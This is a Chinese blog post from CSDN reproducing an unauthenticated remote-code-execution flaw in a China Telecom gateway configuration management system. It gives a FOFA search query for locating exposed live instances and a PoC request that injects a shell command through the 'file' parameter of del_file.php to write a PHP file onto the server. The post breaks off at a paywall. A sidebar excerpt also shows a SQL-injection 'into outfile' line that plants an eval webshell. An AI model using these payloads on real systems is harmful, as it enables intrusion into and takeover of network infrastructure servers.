电信网关配置管理系统 del_file.php 前台RCE漏洞复现

已于 2024-06-14 15:29:48 修改
阅读量710 收藏
点赞数 1
分类专栏： 漏洞复现 文章标签： 安全 web安全
于 2024-06-14 10:05:16 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/139673746
版权

0x01 产品简介

中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远程监控、配置、升级和故障排除等功能，从而确保网络的正常运行和高效性能。

0x02 漏洞概述

电信网关配置管理系统 /manager/newtpl/del_file.php 接口存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意代码，从而获取服务器权限。

0x03 复现环境

FOFA：body="img/login_bg3.png" && body="系统登录"

0x04 漏洞复现

PoC

GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=%20%7C%20base64%20-d%20%3E%20rce.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
【漏洞复现】电信网关配置管理系统-文件上传-upload
知黑而守白
05-31 172
电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远程监控、配置、升级和故障排除等功能，从而确保网络的正常运行和高效性能。电信网关配置管理系统某接口处存在任意文件上传,恶意攻击者可以上传恶意软件，例如后门、木马或勒索软件，以获取对服务器的远程访问权限或者破坏系统，对服务器造成极大的安全隐患。
电信网关配置管理系统 rewrite.php 文件上传致RCE漏洞复现
0xSec
05-10 870
​电信网关配置管理系统/manager/teletext/material/rewrite.php 接口存在文件上传漏洞，未经身份验证的远程攻击者可以利用文件上传漏洞获取系统权限。
【漏洞复现】电信网关配置管理系统 del_file.php 前台RCE漏洞
siu~
06-16 228
电信网关配置管理系统/manager/newtpl/del_file.php 接口存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意代码，从而获取服务器权限。
锐捷统一上网行为管理与审计系统 static_convert.php 前台RCE漏洞复现
0xSec
06-21 1125
锐捷统一上网行为管理与审计系统 static_convert.php 接口存在远程命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意指令或写入webshell，导致服务器权限被控，造成严重威胁。
flamelu#Vulnerability-1#金山 V8 终端安全系统 pdf_maker.php 未授权 RCE1
07-25
金山 V8 终端安全系统 pdf_maker.php 存在命令执行漏洞，由于没有过滤危险字符，导致构造特殊字符即可进行命令拼接执行任意命令.漏洞文件：Kings
Thinkphp 5.0.x_5.1.x 变量覆盖 RCE 漏洞分析1
08-03
Thinkphp 5.0.x_5.1.x 变量覆盖 RCE 漏洞分析1
代码审计_PHPCMS_V9前台RCE挖掘分析1
08-03
代码审计_PHPCMS_V9前台RCE挖掘分析1
cve_2019_0708_bluekeep_rce.rb
09-07
2019年5月14日微软官方发布安全补丁，修复了Windows远程桌面服务的远程代码执行漏洞，该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需用户交互，这就意味着这个漏洞可以通过网络蠕虫的方式被利用。...
DNSSec：网络安全的守护者
jiamisoft的博客
07-12 389
DNSSec是一种安全协议，它为DNS查询和响应过程提供了额外的加密层。通过使用公钥基础设施（PKI）和数字签名，DNSSec能够验证DNS响应的真实性，从而防止DNS欺骗攻击，即攻击者将用户重定向到恶意网站的行为。
医疗健康信息的安全挑战与隐私保护最佳实践
2301_79955948的博客
07-12 1333
随着医疗信息化的发展，医疗健康数据呈现出爆炸式的增长，医院信息系统、电子病历、健康管理等产生了海量的数据，这些数据的管理和保护成为了巨大的挑战。最新的研究和政策动态显示，国家卫生健康委员会等政府部门正在积极推动医疗健康信息安全管理规范的制定和实施，以加强数据安全和个人健康医疗数据相关的隐私保护。隐私保护的最佳实践包括建立完善的数据安全管理制度、规范医疗健康数据的收集、存储和传输过程，防止数据泄露。这些要求和措施有助于确保医疗健康信息的安全性和个人隐私的保护，减少信息泄露的风险，并促进医疗行业的健康发展。
安全防御-用户认证综合实验
weixin_69863399的博客
07-12 402
生产区访问DMZ需要进行protal认证，设立生产区用户架构，至少包含三个部门，每个部门三个用户，用户统一密码openlab@123，首次登录需要修改密码，用户过期时间设定为10天，用户不允许多人使用。游客区人员不固定，不允许访问DMZ区和生产区，统一使用Guest用户登录，密码Admin@123，游客仅有访问公司门户网站和上网的权利，门户网站地址10.0.3.10。做相关的认证策略，研发部IP地址（10.0.1.20）固定，访问DMZ区使用匿名认证，研发部需要用户绑定IP地址，访问DMZ区使用免认证；
车载视频监控管理方案：无人驾驶出租车安全出行的保障
TSINGSEE青犀视频官方技术博客
07-12 766
为了确保数据的安全性和可靠性，本方案采用云存储技术，将车辆视频数据和相关信息存储在云端。
中小学校园EasyCVR视频综合监管方案：构建安全、智能的校园环境
TSINGSEE青犀视频官方技术博客
07-10 1197
针对校园食堂后厨、仓库、配菜、清洗等监控区域的环境卫生与安全等进行全面的监管，及时发现违规异常情况，并能向监管人员及时发送告警信息，保障在校师生的食品与饮食安全。
智能车存在网络安全隐患，如何应设计出更好的安全防护技术？
tigerman20201的博客
07-13 249
然而，高度的网络化和智能化也使智能车面临着严峻的网络安全挑战，如远程攻击、数据泄露和恶意控制等。未来，随着技术的不断发展，应持续加强对智能车网络安全的研究和创新，以应对不断变化的安全威胁。摘要：随着智能车技术的迅速发展，车辆的网络连接性不断增强，然而这也带来了诸多网络安全隐患。本文深入探讨了智能车面临的网络安全威胁，并提出了一系列创新的安全防护技术设计，旨在为智能车的安全运行提供更可靠的保障。黑客可以通过公共网络对智能车的通信系统进行攻击，干扰车辆的正常运行，甚至获取车辆的控制权。
网络设备安全
weixin_48579910的博客
07-11 938
交换机作为网络核心设备，其安全性直接影响到整个网络的稳定和安全。通过实施身份验证和访问控制、设备配置安全、VLAN安全、ARP欺骗防护、MAC地址安全、DHCP欺骗防护、STP安全、拒绝服务防护以及固件和软件更新等措施，可以有效防范各种安全威胁。结合使用适当的安全工具和技术，组织可以大幅提高其交换机的安全防护能力，保护网络基础设施和数据的安全。定期进行安全审计和更新，确保交换机和网络始终处于最佳安全状态。确保路由器的安全是保护整个网络基础设施和数据传输安全的关键。
非法闯入智能监测摄像机：安全守护的新利器
最新发布
bova2022的博客
07-15 268
首先，它能够智能分析画面中的人物和物体，通过对比数据库识别可疑目标，自动过滤正常活动，减少误报。此外，很多智能摄像机支持远程监控，用户可以随时通过手机或电脑查看实时画面，确保安全无死角。在商业环境中，摄像机可以有效防止盗窃和破坏，提升商业安全防范水平。总之，非法闯入智能监测摄像机作为现代安防技术的重要组成部分，以其智能、高效的特性，正不断提升人们的安全感。随着技术的持续发展和应用场景的扩大，未来这些摄像机将在保护人们生命和财产安全方面发挥更加重要的作用，为我们的生活带来更多保障。
thinkphp3.2.3 rce漏洞复现
08-12
根据引用中提供的信息，ThinkPHP3.2.x存在一个RCE（远程代码执行）漏洞。根据引用中的描述，我们可以通过控制`$this->img`变量来找到`destroy()`函数。在`ThinkPHP/Library/Think/Session/Driver/Memcache.class.php`文件中的`Memcache`类的`destroy()`函数中可以找到这个函数。请注意，如果使用PHP7，在调用有参函数但没有传入参数的情况下会报错，因此应该使用PHP5而不是PHP7。具体的漏洞利用方法是，在URL中注入`?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [wp 篇 DASCTF Thinkphp 3.2.3RCE复现](https://blog.csdn.net/weixin_46203060/article/details/119532553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【安全漏洞】ThinkPHP 3.2.3 漏洞复现](https://blog.csdn.net/2201_75857869/article/details/129316463)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值